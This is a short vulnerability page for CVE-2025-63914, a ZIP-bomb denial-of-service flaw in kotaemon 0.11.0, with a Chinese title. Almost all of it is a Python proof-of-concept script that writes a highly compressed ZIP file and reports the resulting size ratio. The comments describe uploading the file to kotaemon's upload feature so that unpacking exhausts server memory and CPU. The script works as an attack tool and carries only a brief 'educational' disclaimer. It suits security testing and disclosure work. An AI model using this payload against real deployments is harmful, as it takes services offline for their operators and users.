CVE-2025-63914: kotaemon 0.11.0 ZIP炸弹拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-63914 PoC - ZIP Bomb DoS Attack for kotaemon This PoC demonstrates how to create a ZIP bomb that can cause denial of service when uploaded to kotaemon's file upload feature. """ import zipfile import os def create_zip_bomb(output_path='malicious.zip', compression_ratio=10000): """ Create a ZIP bomb file for testing purposes. Args: output_path: Path to save the ZIP bomb compression_ratio: Target compression ratio (e.g., 10000 means 1KB -> 10MB) """ # Create a simple pattern that compresses extremely well # Using repeated 'A' characters achieves maximum compression bomb_data = b'A' * (1024 * compression_ratio) # 10MB of 'A's -> ~1KB compressed with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: # Set extreme compression level zf.compresslevel = 9 zf.writestr('bomb_payload.txt', bomb_data) print(f'[+] ZIP bomb created: {output_path}') print(f'[+] Original size: {len(bomb_data)} bytes') print(f'[+] Compressed size: {os.path.getsize(output_path)} bytes') print(f'[+] Compression ratio: {len(bomb_data) // max(os.path.getsize(output_path), 1)}:1') return output_path def verify_zip_bomb(zip_path): """Verify the ZIP bomb can be extracted and causes resource consumption.""" print(f'\n[!] Testing ZIP bomb extraction...') with zipfile.ZipFile(zip_path, 'r') as zf: for info in zf.infolist(): print(f'[+] File: {info.filename}') print(f'[+] Compressed size: {info.compress_size} bytes') print(f'[+] Uncompressed size: {info.file_size} bytes') # Note: In real attack, server would decompress this data # causing memory/CPU exhaustion if __name__ == '__main__': # Generate ZIP bomb zip_file = create_zip_bomb('CVE-2025-63914_bomb.zip', compression_ratio=10000) verify_zip_bomb(zip_file) print('\n[!] This PoC is for educational and security testing purposes only.')